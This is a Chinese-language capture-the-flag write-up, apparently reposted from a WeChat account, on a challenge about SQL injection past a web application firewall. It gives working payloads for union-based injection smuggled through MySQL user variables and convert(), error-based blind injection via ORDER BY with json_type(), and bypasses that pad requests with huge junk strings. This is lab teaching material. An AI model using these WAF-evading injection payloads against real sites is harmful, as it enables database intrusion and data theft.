入侵检测挑战赛第四期-SQL注入

admin 2023年2月25日15:49:52评论64 views字数 2314阅读7分42秒阅读模式

入侵检测挑战赛第四期-SQL注入

一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


  规则   
规则不细说

  SQL注入  

登录发现SQL分为两套环境,上面字符型注入、下面order by注入

入侵检测挑战赛第四期-SQL注入


  找注入点  

在请求4的包中发现,一个单引号报错,两个单引号不报错,判断这是真正的注入点

入侵检测挑战赛第四期-SQL注入

入侵检测挑战赛第四期-SQL注入

在请求6数据包中发现,/**/不报错,/*/则报错,判断这是order by的注入点

入侵检测挑战赛第四期-SQL注入

入侵检测挑战赛第四期-SQL注入

               

字符型注入绕过  

首先在闭合内输入union select构造的语句,发现未拦截,说明不是单纯的正则匹配waf
username=Tom union select 1 from aa'

入侵检测挑战赛第四期-SQL注入

使用order by或尝试union查询,判断出是三列
username=T'union select 1,2,'3

入侵检测挑战赛第四期-SQL注入

入侵检测挑战赛第四期-SQL注入

查一下用户名、版本、数据库名
username=T'union select user(),version(),'3                user()[email protected]                version()=8.0.28                database()=range_test

入侵检测挑战赛第四期-SQL注入

测了半天发现正则了这个,就换个思路了
username=union select , from
既然可以union查询,但是不能连用from
在mysql有个定义变量语法@aaa:=
username=123'%2b@a:=(select 'asdasd' from information_schema.tables limit 1) union select user(),@a,'3

入侵检测挑战赛第四期-SQL注入

尝试获取表名,发现错误

入侵检测挑战赛第四期-SQL注入

测试半天,发现是数据类型的问题,使用convert()函数进行类型转换
username=123'%2b@a:=(select convert(table_name,char(100)) from information_schema.tables limit 1) union select user(),@a,'3

入侵检测挑战赛第四期-SQL注入

成功绕过了,接下来获取数据即可

查表名
username=123'%2b@a:=(select convert(table_name,char(1000)) from information_schema.tables where table_schema='range_test' limit 0,1union select 1,@a,'3                

入侵检测挑战赛第四期-SQL注入

查字段名
username=123'%2b@test:=(select convert(column_name,char(1000)) from information_schema.columns where table_schema='range_test' and table_name='f149_1s_h3r3'limit 0,1union select 1,@test,'3

入侵检测挑战赛第四期-SQL注入

查flag
username=123'%2b@test:=(select convert(f14g_c01umn,char(1000))from f149_1s_h3r3 limit 0,1) union select 1,@test,'3

入侵检测挑战赛第四期-SQL注入

               

ORDER BY注入绕过  

使用mysql的定义变量@a:=进行数据传递
绕过substr()select from 表的连用
使用case when绕过if无法传递@aa参数
最后使用json_type函数进行报错盲注,如果是'1'则数据错误,'a'则数据正确

获取表名
order=goods_name,@a:=(select table_name from information_schema.tables where table_schema='range_test' limit 2,1),@b:=(case when substr(@a,12,1)='3' then '1' else 'a' end),json_type(@b)&limit=10

入侵检测挑战赛第四期-SQL注入

获取列名
order=goods_name,@a:=(select column_name from information_schema.columns where table_schema='range_test' and table_name='f149_1s_h3r3__________' limit 0,1),@b:=(case when substr(@a,4,1)='g' then '1' else 'a' end),json_type(@b)&limit=10
获取flag
order=goods_name,@a:=(select f14g_c01umn from f149_1s_h3r3__________ limit 0,1),@b:=(case when substr(@a,28,1)='/' then '1' else 'a' end),json_type(@b)&limit=10

入侵检测挑战赛第四期-SQL注入


超大数据绕过  

 利用超大数据绕过检测
username=60万字符' union select 1,table_name,3 from information_schema.tables where table_schema = 'range_test'limit 0,1 --

入侵检测挑战赛第四期-SQL注入

 利用超大注释绕过检测

username=a'/*60万字符*/union select 1,column_name,3 from information_schema.columns where table_name = 'flag_t4b1lile'limit 0,1 -- 

 最后  

由于第四期参与较晚,几个poc基本都重复了,分享一下思路,后续更新第五期

原文始发于微信公众号(XG小刚):入侵检测挑战赛第四期-SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月25日15:49:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   入侵检测挑战赛第四期-SQL注入https://cn-sec.com/archives/1574567.html

发表评论

匿名网友 填写信息